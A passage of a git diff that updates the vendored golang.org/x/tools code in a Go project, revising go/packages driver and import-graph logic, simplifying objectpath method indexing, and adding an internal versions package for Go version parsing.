len(pkg.Errors) != 1 { - return false - } - if pkg.Name != "" || pkg.ExportFile != "" { - return false - } - if len(pkg.GoFiles) > 0 || len(pkg.CompiledGoFiles) > 0 || len(pkg.OtherFiles) > 0 { - return false - } - if len(pkg.Imports) > 0 { - return false - } - pkgName, ok := extractPackageName(filename, contents) - if !ok { - return false - } - pkg.Name = pkgName - pkg.Errors = nil - return true -} - -func extractPackageName(filename string, contents []byte) (string, bool) { - // TODO(rstambler): Check the message of the actual error? - // It differs between $GOPATH and module mode. - f, err := parser.ParseFile(token.NewFileSet(), filename, contents, parser.PackageClauseOnly) // TODO(matloob): reuse fileset? - if err != nil { - return "", false - } - return f.Name.Name, true -} - -// commonDir returns the directory that all files are in, "" if files is empty, -// or an error if they aren't in the same directory. -func commonDir(files []string) (string, error) { - seen := make(map[string]bool) - for _, f := range files { - seen[filepath.Dir(f)] = true - } - if len(seen) > 1 { - return "", fmt.Errorf("files (%v) are in more than one directory: %v", files, seen) - } - for k := range seen { - // seen has only one element; return it. - return k, nil - } - return "", nil // no files -} - -// It is possible that the files in the disk directory dir have a different package -// name from newName, which is deduced from the overlays. If they all have a different -// package name, and they all have the same package name, then that name becomes -// the package name. -// It returns true if it changes the package name, false otherwise. -func maybeFixPackageName(newName string, isTestFile bool, pkgsOfDir []*Package) { - names := make(map[string]int) - for _, p := range pkgsOfDir { - names[p.Name]++ - } - if len(names) != 1 { - // some files are in different packages - return - } - var oldName string - for k := range names { - oldName = k - } - if newName == oldName { - return - } - // We might have a case where all of the package names in the directory are - // the same, but the overlay file is for an x test, which belongs to its - // own package. If the x test does not yet exist on disk, we may not yet - // have its package name on disk, but we should not rename the packages. - // - // We use a heuristic to determine if this file belongs to an x test: - // The test file should have a package name whose package name has a _test - // suffix or looks like "newName_test". - maybeXTest := strings.HasPrefix(oldName+"_test", newName) || strings.HasSuffix(newName, "_test") - if isTestFile && maybeXTest { - return - } - for _, p := range pkgsOfDir { - p.Name = newName - } -} - -// This function is copy-pasted from -// https://github.com/golang/go/blob/9706f510a5e2754595d716bd64be8375997311fb/src/cmd/go/internal/search/search.go#L360. -// It should be deleted when we remove support for overlays from go/packages. -// -// NOTE: This does not handle any ./... or ./ style queries, as this function -// doesn't know the working directory. -// -// matchPattern(pattern)(name) reports whether -// name matches pattern. Pattern is a limited glob -// pattern in which '...' means 'any string' and there -// is no other special syntax. -// Unfortunately, there are two special cases. Quoting "go help packages": -// -// First, /... at the end of the pattern can match an empty string, -// so that net/... matches both net and packages in its subdirectories, like net/http. -// Second, any slash-separated pattern element containing a wildcard never -// participates in a match of the "vendor" element in the path of a vendored -// package, so that ./... does not match packages in subdirectories of -// ./vendor or ./mycode/vendor, but ./vendor/... and ./mycode/vendor/... do. -// Note, however, that a directory named vendor that itself contains code -// is not a vendored package: cmd/vendor would be a command named vendor, -// and the pattern cmd/... matches it. -func matchPattern(pattern string) func(name string) bool { - // Convert pattern to regular expression. - // The strategy for the trailing /... is to nest it in an explicit ? expression. - // The strategy for the vendor exclusion is to change the unmatchable - // vendor strings to a disallowed code point (vendorChar) and to use - // "(anything but that codepoint)*" as the implementation of the ... wildcard. - // This is a bit complicated but the obvious alternative, - // namely a hand-written search like in most shell glob matchers, - // is too easy to make accidentally exponential. - // Using package regexp guarantees linear-time matching. - - const vendorChar = "\x00" - - if strings.Contains(pattern, vendorChar) { - return func(name string) bool { return false } - } - - re := regexp.QuoteMeta(pattern) - re = replaceVendor(re, vendorChar) - switch { - case strings.HasSuffix(re, `/`+vendorChar+`/\.\.\.`): - re = strings.TrimSuffix(re, `/`+vendorChar+`/\.\.\.`) + `(/vendor|/` + vendorChar + `/\.\.\.)` - case re == vendorChar+`/\.\.\.`: - re = `(/vendor|/` + vendorChar + `/\.\.\.)` - case strings.HasSuffix(re, `/\.\.\.`): - re = strings.TrimSuffix(re, `/\.\.\.`) + `(/\.\.\.)?` - } - re = strings.ReplaceAll(re, `\.\.\.`, `[^`+vendorChar+`]*`) - - reg := regexp.MustCompile(`^` + re + `$`) - - return func(name string) bool { - if strings.Contains(name, vendorChar) { - return false - } - return reg.MatchString(replaceVendor(name, vendorChar)) - } -} - -// replaceVendor returns the result of replacing -// non-trailing vendor path elements in x with repl. -func replaceVendor(x, repl string) string { - if !strings.Contains(x, "vendor") { - return x - } - elem := strings.Split(x, "/") - for i := 0; i < len(elem)-1; i++ { - if elem[i] == "vendor" { - elem[i] = repl - } - } - return strings.Join(elem, "/") -} diff --git a/vendor/golang.org/x/tools/go/packages/packages.go b/vendor/golang.org/x/tools/go/packages/packages.go index ece0e7c603..bd79efc1aa 100644 --- a/vendor/golang.org/x/tools/go/packages/packages.go +++ b/vendor/golang.org/x/tools/go/packages/packages.go @@ -29,6 +29,7 @@ import ( "golang.org/x/tools/internal/packagesinternal" "golang.org/x/tools/internal/typeparams" "golang.org/x/tools/internal/typesinternal" + "golang.org/x/tools/internal/versions" ) // A LoadMode controls the amount of detail to return when loading. @@ -258,31 +259,52 @@ type driverResponse struct { // proceeding with further analysis. The PrintErrors function is // provided for convenient display of all errors. func Load(cfg *Config, patterns ...string) ([]*Package, error) { - l := newLoader(cfg) - response, err := defaultDriver(&l.Config, patterns...) + ld := newLoader(cfg) + response, external, err := defaultDriver(&ld.Config, patterns...) if err != nil { return nil, err } - l.sizes = types.SizesFor(response.Compiler, response.Arch) - return l.refine(response) + + ld.sizes = types.SizesFor(response.Compiler, response.Arch) + if ld.sizes == nil && ld.Config.Mode&(NeedTypes|NeedTypesSizes|NeedTypesInfo) != 0 { + // Type size information is needed but unavailable. + if external { + // An external driver may fail to populate the Compiler/GOARCH fields, + // especially since they are relatively new (see #63700). + // Provide a sensible fallback in this case. + ld.sizes = types.SizesFor("gc", runtime.GOARCH) + if ld.sizes == nil { // gccgo-only arch + ld.sizes = types.SizesFor("gc", "amd64") + } + } else { + // Go list should never fail to deliver accurate size information. + // Reject the whole Load since the error is the same for every package. + return nil, fmt.Errorf("can't determine type sizes for compiler %q on GOARCH %q", + response.Compiler, response.Arch) + } + } + + return ld.refine(response) } // defaultDriver is a driver that implements go/packages' fallback behavior. // It will try to request to an external driver, if one exists. If there's // no external driver, or the driver returns a response with NotHandled set, // defaultDriver will fall back to the go list driver. -func defaultDriver(cfg *Config, patterns ...string) (*driverResponse, error) { - driver := findExternalDriver(cfg) - if driver == nil { - driver = goListDriver - } - response, err := driver(cfg, patterns...) - if err != nil { - return response, err - } else if response.NotHandled { - return goListDriver(cfg, patterns...) +// The boolean result indicates that an external driver handled the request. +func defaultDriver(cfg *Config, patterns ...string) (*driverResponse, bool, error) { + if driver := findExternalDriver(cfg); driver != nil { + response, err := driver(cfg, patterns...) + if err != nil { + return nil, false, err + } else if !response.NotHandled { + return response, true, nil + } + // (fall through) } - return response, nil + + response, err := goListDriver(cfg, patterns...) + return response, false, err } // A Package describes a loaded Go package. @@ -411,12 +433,6 @@ func init() { packagesinternal.GetDepsErrors = func(p interface{}) []*packagesinternal.PackageError { return p.(*Package).depsErrors } - packagesinternal.GetGoCmdRunner = func(config interface{}) *gocommand.Runner { - return config.(*Config).gocmdRunner - } - packagesinternal.SetGoCmdRunner = func(config interface{}, runner *gocommand.Runner) { - config.(*Config).gocmdRunner = runner - } packagesinternal.SetModFile = func(config interface{}, value string) { config.(*Config).modFile = value } @@ -553,7 +569,7 @@ type loaderPackage struct { type loader struct { pkgs map[string]*loaderPackage Config - sizes types.Sizes + sizes types.Sizes // non-nil if needed by mode parseCache map[string]*parseValue parseCacheMu sync.Mutex exportMu sync.Mutex // enforces mutual exclusion of exportdata operations @@ -678,39 +694,38 @@ func (ld *loader) refine(response *driverResponse) ([]*Package, error) { } } - // Materialize the import graph. - - const ( - white = 0 // new - grey = 1 // in progress - black = 2 // complete - ) - - // visit traverses the import graph, depth-first, - // and materializes the graph as Packages.Imports. - // - // Valid imports are saved in the Packages.Import map. - // Invalid imports (cycles and missing nodes) are saved in the importErrors map. - // Thus, even in the presence of both kinds of errors, the Import graph remains a DAG. - // - // visit returns whether the package needs src or has a transitive - // dependency on a package that does. These are the only packages - // for which we load source code. - var stack []*loaderPackage - var visit func(lpkg *loaderPackage) bool - var srcPkgs []*loaderPackage - visit = func(lpkg *loaderPackage) bool { - switch lpkg.color { - case black: - return lpkg.needsrc - case grey: - panic("internal error: grey node") - } - lpkg.color = grey - stack = append(stack, lpkg) // push - stubs := lpkg.Imports // the structure form has only stubs with the ID in the Imports - // If NeedImports isn't set, the imports fields will all be zeroed out. - if ld.Mode&NeedImports != 0 { + if ld.Mode&NeedImports != 0 { + // Materialize the import graph. + + const ( + white = 0 // new + grey = 1 // in progress + black = 2 // complete + ) + + // visit traverses the import graph, depth-first, + // and materializes the graph as Packages.Imports. + // + // Valid imports are saved in the Packages.Import map. + // Invalid imports (cycles and missing nodes) are saved in the importErrors map. + // Thus, even in the presence of both kinds of errors, + // the Import graph remains a DAG. + // + // visit returns whether the package needs src or has a transitive + // dependency on a package that does. These are the only packages + // for which we load source code. + var stack []*loaderPackage + var visit func(lpkg *loaderPackage) bool + visit = func(lpkg *loaderPackage) bool { + switch lpkg.color { + case black: + return lpkg.needsrc + case grey: + panic("internal error: grey node") + } + lpkg.color = grey + stack = append(stack, lpkg) // push + stubs := lpkg.Imports // the structure form has only stubs with the ID in the Imports lpkg.Imports = make(map[string]*Package, len(stubs)) for importPath, ipkg := range stubs { var importErr error @@ -734,40 +749,39 @@ func (ld *loader) refine(response *driverResponse) ([]*Package, error) { } lpkg.Imports[importPath] = imp.Package } - } - if lpkg.needsrc { - srcPkgs = append(srcPkgs, lpkg) - } - if ld.Mode&NeedTypesSizes != 0 { - lpkg.TypesSizes = ld.sizes - } - stack = stack[:len(stack)-1] // pop - lpkg.color = black - return lpkg.needsrc - } + // Complete type information is required for the + // immediate dependencies of each source package. + if lpkg.needsrc && ld.Mode&NeedTypes != 0 { + for _, ipkg := range lpkg.Imports { + ld.pkgs[ipkg.ID].needtypes = true + } + } - if ld.Mode&NeedImports == 0 { - // We do this to drop the stub import packages that we are not even going to try to resolve. - for _, lpkg := range initial { - lpkg.Imports = nil + // NeedTypeSizes causes TypeSizes to be set even + // on packages for which types aren't needed. + if ld.Mode&NeedTypesSizes != 0 { + lpkg.TypesSizes = ld.sizes + } + stack = stack[:len(stack)-1] // pop + lpkg.color = black + + return lpkg.needsrc } - } else { + // For each initial package, create its import DAG. for _, lpkg := range initial { visit(lpkg) } - } - if ld.Mode&NeedImports != 0 && ld.Mode&NeedTypes != 0 { - for _, lpkg := range srcPkgs { - // Complete type information is required for the - // immediate dependencies of each source package. - for _, ipkg := range lpkg.Imports { - imp := ld.pkgs[ipkg.ID] - imp.needtypes = true - } + + } else { + // !NeedImports: drop the stub (ID-only) import packages + // that we are not even going to try to resolve. + for _, lpkg := range initial { + lpkg.Imports = nil } } + // Load type data and syntax if needed, starting at // the initial packages (roots of the import DAG). if ld.Mode&NeedTypes != 0 || ld.Mode&NeedSyntax != 0 { @@ -1005,6 +1019,7 @@ func (ld *loader) loadPackage(lpkg *loaderPackage) { Selections: make(map[*ast.SelectorExpr]*types.Selection), } typeparams.InitInstanceInfo(lpkg.TypesInfo) + versions.InitFileVersions(lpkg.TypesInfo) lpkg.TypesSizes = ld.sizes importer := importerFunc(func(path string) (*types.Package, error) { @@ -1042,7 +1057,7 @@ func (ld *loader) loadPackage(lpkg *loaderPackage) { IgnoreFuncBodies: ld.Mode&NeedDeps == 0 && !lpkg.initial, Error: appendError, - Sizes: ld.sizes, + Sizes: ld.sizes, // may be nil } if lpkg.Module != nil && lpkg.Module.GoVersion != "" { typesinternal.SetGoVersion(tc, "go"+lpkg.Module.GoVersion) diff --git a/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go b/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go index fa5834baf7..e742ecc464 100644 --- a/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go +++ b/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go @@ -26,13 +26,10 @@ package objectpath import ( "fmt" "go/types" - "sort" "strconv" "strings" - _ "unsafe" "golang.org/x/tools/internal/typeparams" - "golang.org/x/tools/internal/typesinternal" ) // A Path is an opaque name that identifies a types.Object @@ -123,20 +120,7 @@ func For(obj types.Object) (Path, error) { // An Encoder amortizes the cost of encoding the paths of multiple objects. // The zero value of an Encoder is ready to use. type Encoder struct { - scopeMemo map[*types.Scope][]types.Object // memoization of scopeObjects - namedMethodsMemo map[*types.Named][]*types.Func // memoization of namedMethods() - skipMethodSorting bool -} - -// Expose back doors so that gopls can avoid method sorting, which can dominate -// analysis on certain repositories. -// -// TODO(golang/go#61443): remove this. -func init() { - typesinternal.SkipEncoderMethodSorting = func(enc interface{}) { - enc.(*Encoder).skipMethodSorting = true - } - typesinternal.ObjectpathObject = object + scopeMemo map[*types.Scope][]types.Object // memoization of scopeObjects } // For returns the path to an object relative to its package, @@ -328,31 +312,18 @@ func (enc *Encoder) For(obj types.Object) (Path, error) { // Inspect declared methods of defined types. if T, ok := o.Type().(*types.Named); ok { path = append(path, opType) - if !enc.skipMethodSorting { - // Note that method index here is always with respect - // to canonical ordering of methods, regardless of how - // they appear in the underlying type. - for i, m := range enc.namedMethods(T) { - path2 := appendOpArg(path, opMethod, i) - if m == obj { - return Path(path2), nil // found declared method - } - if r := find(obj, m.Type(), append(path2, opType), nil); r != nil { - return Path(r), nil - } + // The method index here is always with respect + // to the underlying go/types data structures, + // which ultimately derives from source order + // and must be preserved by export data. + for i := 0; i < T.NumMethods(); i++ { + m := T.Method(i) + path2 := appendOpArg(path, opMethod, i) + if m == obj { + return Path(path2), nil // found declared method } - } else { - // This branch must match the logic in the branch above, using go/types - // APIs without sorting. - for i := 0; i < T.NumMethods(); i++ { - m := T.Method(i) - path2 := appendOpArg(path, opMethod, i) - if m == obj { - return Path(path2), nil // found declared method - } - if r := find(obj, m.Type(), append(path2, opType), nil); r != nil { - return Path(r), nil - } + if r := find(obj, m.Type(), append(path2, opType), nil); r != nil { + return Path(r), nil } } } @@ -448,22 +419,13 @@ func (enc *Encoder) concreteMethod(meth *types.Func) (Path, bool) { path = append(path, name...) path = append(path, opType) - if !enc.skipMethodSorting { - for i, m := range enc.namedMethods(named) { - if m == meth { - path = appendOpArg(path, opMethod, i) - return Path(path), true - } - } - } else { - // This branch must match the logic of the branch above, using go/types - // APIs without sorting. - for i := 0; i < named.NumMethods(); i++ { - m := named.Method(i) - if m == meth { - path = appendOpArg(path, opMethod, i) - return Path(path), true - } + // Method indices are w.r.t. the go/types data structures, + // ultimately deriving from source order, + // which is preserved by export data. + for i := 0; i < named.NumMethods(); i++ { + if named.Method(i) == meth { + path = appendOpArg(path, opMethod, i) + return Path(path), true } } @@ -576,12 +538,7 @@ func findTypeParam(obj types.Object, list *typeparams.TypeParamList, path []byte // Object returns the object denoted by path p within the package pkg. func Object(pkg *types.Package, p Path) (types.Object, error) { - return object(pkg, string(p), false) -} - -// Note: the skipMethodSorting parameter must match the value of -// Encoder.skipMethodSorting used during encoding. -func object(pkg *types.Package, pathstr string, skipMethodSorting bool) (types.Object, error) { + pathstr := string(p) if pathstr == "" { return nil, fmt.Errorf("empty path") } @@ -747,12 +704,7 @@ func object(pkg *types.Package, pathstr string, skipMethodSorting bool) (types.O if index >= t.NumMethods() { return nil, fmt.Errorf("method index %d out of range [0-%d)", index, t.NumMethods()) } - if skipMethodSorting { - obj = t.Method(index) - } else { - methods := namedMethods(t) // (unmemoized) - obj = methods[index] // Id-ordered - } + obj = t.Method(index) default: return nil, fmt.Errorf("cannot apply %q to %s (got %T, want interface or named)", code, t, t) @@ -779,33 +731,6 @@ func object(pkg *types.Package, pathstr string, skipMethodSorting bool) (types.O return obj, nil // success } -// namedMethods returns the methods of a Named type in ascending Id order. -func namedMethods(named *types.Named) []*types.Func { - methods := make([]*types.Func, named.NumMethods()) - for i := range methods { - methods[i] = named.Method(i) - } - sort.Slice(methods, func(i, j int) bool { - return methods[i].Id() < methods[j].Id() - }) - return methods -} - -// namedMethods is a memoization of the namedMethods function. Callers must not modify the result. -func (enc *Encoder) namedMethods(named *types.Named) []*types.Func { - m := enc.namedMethodsMemo - if m == nil { - m = make(map[*types.Named][]*types.Func) - enc.namedMethodsMemo = m - } - methods, ok := m[named] - if !ok { - methods = namedMethods(named) // allocates and sorts - m[named] = methods - } - return methods -} - // scopeObjects is a memoization of scope objects. // Callers must not modify the result. func (enc *Encoder) scopeObjects(scope *types.Scope) []types.Object { diff --git a/vendor/golang.org/x/tools/internal/gocommand/invoke.go b/vendor/golang.org/x/tools/internal/gocommand/invoke.go index 53cf66da01..55312522dc 100644 --- a/vendor/golang.org/x/tools/internal/gocommand/invoke.go +++ b/vendor/golang.org/x/tools/internal/gocommand/invoke.go @@ -13,6 +13,7 @@ import ( "io" "log" "os" + "os/exec" "reflect" "regexp" "runtime" @@ -21,8 +22,6 @@ import ( "sync" "time" - exec "golang.org/x/sys/execabs" - "golang.org/x/tools/internal/event" "golang.org/x/tools/internal/event/keys" "golang.org/x/tools/internal/event/label" @@ -85,6 +84,7 @@ func (runner *Runner) RunPiped(ctx context.Context, inv Invocation, stdout, stde // RunRaw runs the invocation, serializing requests only if they fight over // go.mod changes. +// Postcondition: both error results have same nilness. func (runner *Runner) RunRaw(ctx context.Context, inv Invocation) (*bytes.Buffer, *bytes.Buffer, error, error) { ctx, done := event.Start(ctx, "gocommand.Runner.RunRaw", invLabels(inv)...) defer done() @@ -95,23 +95,24 @@ func (runner *Runner) RunRaw(ctx context.Context, inv Invocation) (*bytes.Buffer stdout, stderr, friendlyErr, err := runner.runConcurrent(ctx, inv) // If we encounter a load concurrency error, we need to retry serially. - if friendlyErr == nil || !modConcurrencyError.MatchString(friendlyErr.Error()) { - return stdout, stderr, friendlyErr, err + if friendlyErr != nil && modConcurrencyError.MatchString(friendlyErr.Error()) { + event.Error(ctx, "Load concurrency error, will retry serially", err) + + // Run serially by calling runPiped. + stdout.Reset() + stderr.Reset() + friendlyErr, err = runner.runPiped(ctx, inv, stdout, stderr) } - event.Error(ctx, "Load concurrency error, will retry serially", err) - // Run serially by calling runPiped. - stdout.Reset() - stderr.Reset() - friendlyErr, err = runner.runPiped(ctx, inv, stdout, stderr) return stdout, stderr, friendlyErr, err } +// Postcondition: both error results have same nilness. func (runner *Runner) runConcurrent(ctx context.Context, inv Invocation) (*bytes.Buffer, *bytes.Buffer, error, error) { // Wait for 1 worker to become available. select { case <-ctx.Done(): - return nil, nil, nil, ctx.Err() + return nil, nil, ctx.Err(), ctx.Err() case runner.inFlight <- struct{}{}: defer func() { <-runner.inFlight }() } @@ -121,6 +122,7 @@ func (runner *Runner) runConcurrent(ctx context.Context, inv Invocation) (*bytes return stdout, stderr, friendlyErr, err } +// Postcondition: both error results have same nilness. func (runner *Runner) runPiped(ctx context.Context, inv Invocation, stdout, stderr io.Writer) (error, error) { // Make sure the runner is always initialized. runner.initialize() @@ -129,7 +131,7 @@ func (runner *Runner) runPiped(ctx context.Context, inv Invocation, stdout, stde // runPiped commands. select { case <-ctx.Done(): - return nil, ctx.Err() + return ctx.Err(), ctx.Err() case runner.serialized <- struct{}{}: defer func() { <-runner.serialized }() } @@ -139,7 +141,7 @@ func (runner *Runner) runPiped(ctx context.Context, inv Invocation, stdout, stde for i := 0; i < maxInFlight; i++ { select { case <-ctx.Done(): - return nil, ctx.Err() + return ctx.Err(), ctx.Err() case runner.inFlight <- struct{}{}: // Make sure we always "return" any workers we took. defer func() { <-runner.inFlight }() @@ -172,6 +174,7 @@ type Invocation struct { Logf func(format string, args ...interface{}) } +// Postcondition: both error results have same nilness. func (i *Invocation) runWithFriendlyError(ctx context.Context, stdout, stderr io.Writer) (friendlyError error, rawError error) { rawError = i.run(ctx, stdout, stderr) if rawError != nil { diff --git a/vendor/golang.org/x/tools/internal/packagesinternal/packages.go b/vendor/golang.org/x/tools/internal/packagesinternal/packages.go index d9950b1f0b..44719de173 100644 --- a/vendor/golang.org/x/tools/internal/packagesinternal/packages.go +++ b/vendor/golang.org/x/tools/internal/packagesinternal/packages.go @@ -5,10 +5,6 @@ // Package packagesinternal exposes internal-only fields from go/packages. package packagesinternal -import ( - "golang.org/x/tools/internal/gocommand" -) - var GetForTest = func(p interface{}) string { return "" } var GetDepsErrors = func(p interface{}) []*PackageError { return nil } @@ -18,10 +14,6 @@ type PackageError struct { Err string // the error itself } -var GetGoCmdRunner = func(config interface{}) *gocommand.Runner { return nil } - -var SetGoCmdRunner = func(config interface{}, runner *gocommand.Runner) {} - var TypecheckCgo int var DepsErrors int // must be set as a LoadMode to call GetDepsErrors var ForTest int // must be set as a LoadMode to call GetForTest diff --git a/vendor/golang.org/x/tools/internal/typesinternal/objectpath.go b/vendor/golang.org/x/tools/internal/typesinternal/objectpath.go deleted file mode 100644 index 5e96e89557..0000000000 --- a/vendor/golang.org/x/tools/internal/typesinternal/objectpath.go +++ /dev/null @@ -1,24 +0,0 @@ -// Copyright 2023 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package typesinternal - -import "go/types" - -// This file contains back doors that allow gopls to avoid method sorting when -// using the objectpath package. -// -// This is performance-critical in certain repositories, but changing the -// behavior of the objectpath package is still being discussed in -// golang/go#61443. If we decide to remove the sorting in objectpath we can -// simply delete these back doors. Otherwise, we should add a new API to -// objectpath that allows controlling the sorting. - -// SkipEncoderMethodSorting marks enc (which must be an *objectpath.Encoder) as -// not requiring sorted methods. -var SkipEncoderMethodSorting func(enc interface{}) - -// ObjectpathObject is like objectpath.Object, but allows suppressing method -// sorting. -var ObjectpathObject func(pkg *types.Package, p string, skipMethodSorting bool) (types.Object, error) diff --git a/vendor/golang.org/x/tools/internal/versions/gover.go b/vendor/golang.org/x/tools/internal/versions/gover.go new file mode 100644 index 0000000000..bbabcd22e9 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/gover.go @@ -0,0 +1,172 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// This is a fork of internal/gover for use by x/tools until +// go1.21 and earlier are no longer supported by x/tools. + +package versions + +import "strings" + +// A gover is a parsed Go gover: major[.Minor[.Patch]][kind[pre]] +// The numbers are the original decimal strings to avoid integer overflows +// and since there is very little actual math. (Probably overflow doesn't matter in practice, +// but at the time this code was written, there was an existing test that used +// go1.99999999999, which does not fit in an int on 32-bit platforms. +// The "big decimal" representation avoids the problem entirely.) +type gover struct { + major string // decimal + minor string // decimal or "" + patch string // decimal or "" + kind string // "", "alpha", "beta", "rc" + pre string // decimal or "" +} + +// compare returns -1, 0, or +1 depending on whether +// x < y, x == y, or x > y, interpreted as toolchain versions. +// The versions x and y must not begin with a "go" prefix: just "1.21" not "go1.21". +// Malformed versions compare less than well-formed versions and equal to each other. +// The language version "1.21" compares less than the release candidate and eventual releases "1.21rc1" and "1.21.0". +func compare(x, y string) int { + vx := parse(x) + vy := parse(y) + + if c := cmpInt(vx.major, vy.major); c != 0 { + return c + } + if c := cmpInt(vx.minor, vy.minor); c != 0 { + return c + } + if c := cmpInt(vx.patch, vy.patch); c != 0 { + return c + } + if c := strings.Compare(vx.kind, vy.kind); c != 0 { // "" < alpha < beta < rc + return c + } + if c := cmpInt(vx.pre, vy.pre); c != 0 { + return c + } + return 0 +} + +// lang returns the Go language version. For example, lang("1.2.3") == "1.2". +func lang(x string) string { + v := parse(x) + if v.minor == "" || v.major == "1" && v.minor == "0" { + return v.major + } + return v.major + "." + v.minor +} + +// isValid reports whether the version x is valid. +func isValid(x string) bool { + return parse(x) != gover{} +} + +// parse parses the Go version string x into a version. +// It returns the zero version if x is malformed. +func parse(x string) gover { + var v gover + + // Parse major version. + var ok bool + v.major, x, ok = cutInt(x) + if !ok { + return gover{} + } + if x == "" { + // Interpret "1" as "1.0.0". + v.minor = "0" + v.patch = "0" + return v + } + + // Parse . before minor version. + if x[0] != '.' { + return gover{} + } + + // Parse minor version. + v.minor, x, ok = cutInt(x[1:]) + if !ok { + return gover{} + } + if x == "" { + // Patch missing is same as "0" for older versions. + // Starting in Go 1.21, patch missing is different from explicit .0. + if cmpInt(v.minor, "21") < 0 { + v.patch = "0" + } + return v + } + + // Parse patch if present. + if x[0] == '.' { + v.patch, x, ok = cutInt(x[1:]) + if !ok || x != "" { + // Note that we are disallowing prereleases (alpha, beta, rc) for patch releases here (x != ""). + // Allowing them would be a bit confusing because we already have: + // 1.21 < 1.21rc1 + // But a prerelease of a patch would have the opposite effect: + // 1.21.3rc1 < 1.21.3 + // We've never needed them before, so let's not start now. + return gover{} + } + return v + } + + // Parse prerelease. + i := 0 + for i < len(x) && (x[i] < '0' || '9' < x[i]) { + if x[i] < 'a' || 'z' < x[i] { + return gover{} + } + i++ + } + if i == 0 { + return gover{} + } + v.kind, x = x[:i], x[i:] + if x == "" { + return v + } + v.pre, x, ok = cutInt(x) + if !ok || x != "" { + return gover{} + } + + return v +} + +// cutInt scans the leading decimal number at the start of x to an integer +// and returns that value and the rest of the string. +func cutInt(x string) (n, rest string, ok bool) { + i := 0 + for i < len(x) && '0' <= x[i] && x[i] <= '9' { + i++ + } + if i == 0 || x[0] == '0' && i != 1 { // no digits or unnecessary leading zero + return "", "", false + } + return x[:i], x[i:], true +} + +// cmpInt returns cmp.Compare(x, y) interpreting x and y as decimal numbers. +// (Copied from golang.org/x/mod/semver's compareInt.) +func cmpInt(x, y string) int { + if x == y { + return 0 + } + if len(x) < len(y) { + return -1 + } + if len(x) > len(y) { + return +1 + } + if x < y { + return -1 + } else { + return +1 + } +} diff --git a/vendor/golang.org/x/tools/internal/versions/types.go b/vendor/golang.org/x/tools/internal/versions/types.go new file mode 100644 index 0000000000..562eef21fa --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/types.go @@ -0,0 +1,19 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package versions + +import ( + "go/types" +) + +// GoVersion returns the Go version of the type package. +// It returns zero if no version can be determined. +func GoVersion(pkg *types.Package) string { + // TODO(taking): x/tools can call GoVersion() [from 1.21] after 1.25. + if pkg, ok := any(pkg).(interface{ GoVersion() string }); ok { + return pkg.GoVersion() + } + return "" +} diff --git a/vendor/golang.org/x/tools/internal/versions/types_go121.go b/vendor/golang.org/x/tools/internal/versions/types_go121.go new file mode 100644 index 0000000000..a7b79207ae --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/types_go121.go @@ -0,0 +1,20 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.22 +// +build !go1.22 + +package versions + +import ( + "go/ast" + "go/types" +) + +// FileVersions always reports the a file's Go version as the +// zero version at this Go version. +func FileVersions(info *types.Info, file *ast.File) string { return "" } + +// InitFileVersions is a noop at this Go version. +func InitFileVersions(*types.Info) {} diff --git a/vendor/golang.org/x/tools/internal/versions/types_go122.go b/vendor/golang.org/x/tools/internal/versions/types_go122.go new file mode 100644 index 0000000000..7b9ba89a82 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/types_go122.go @@ -0,0 +1,24 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.22 +// +build go1.22 + +package versions + +import ( + "go/ast" + "go/types" +) + +// FileVersions maps a file to the file's semantic Go version. +// The reported version is the zero version if a version cannot be determined. +func FileVersions(info *types.Info, file *ast.File) string { + return info.FileVersions[file] +} + +// InitFileVersions initializes info to record Go versions for Go files. +func InitFileVersions(info *types.Info) { + info.FileVersions = make(map[*ast.File]string) +} diff --git a/vendor/golang.org/x/tools/internal/versions/versions_go121.go b/vendor/golang.org/x/tools/internal/versions/versions_go121.go new file mode 100644 index 0000000000..cf4a7d0360 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/versions_go121.go @@ -0,0 +1,49 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.22 +// +build !go1.22 + +package versions + +// Lang returns the Go language version for version x. +// If x is not a valid version, Lang returns the empty string. +// For example: +// +// Lang("go1.21rc2") = "go1.21" +// Lang("go1.21.2") = "go1.21" +// Lang("go1.21") = "go1.21" +// Lang("go1") = "go1" +// Lang("bad") = "" +// Lang("1.21") = "" +func Lang(x string) string { + v := lang(stripGo(x)) + if v == "" { + return "" + } + return x[:2+len(v)] // "go"+v without allocation +} + +// Compare returns -1, 0, or +1 depending on whether +// x < y, x == y, or x > y, interpreted as Go versions. +// The versions x and y must begin with a "go" prefix: "go1.21" not "1.21". +// Invalid versions, including the empty string, compare less than +// valid versions and equal to each other. +// The language version "go1.21" compares less than the +// release candidate and eventual releases "go1.21rc1" and "go1.21.0". +// Custom toolchain suffixes are ignored during comparison: +// "go1.21.0" and "go1.21.0-bigcorp" are equal. +func Compare(x, y string) int { return compare(stripGo(x), stripGo(y)) } + +// IsValid reports whether the version x is valid. +func IsValid(x string) bool { return isValid(stripGo(x)) } + +// stripGo converts from a "go1.21" version to a "1.21" version. +// If v does not start with "go", stripGo returns the empty string (a known invalid version). +func stripGo(v string) string { + if len(v) < 2 || v[:2] != "go" { + return "" + } + return v[2:] +} diff --git a/vendor/golang.org/x/tools/internal/versions/versions_go122.go b/vendor/golang.org/x/tools/internal/versions/versions_go122.go new file mode 100644 index 0000000000..c1c1814b28 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/versions_go122.go @@ -0,0 +1,38 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the 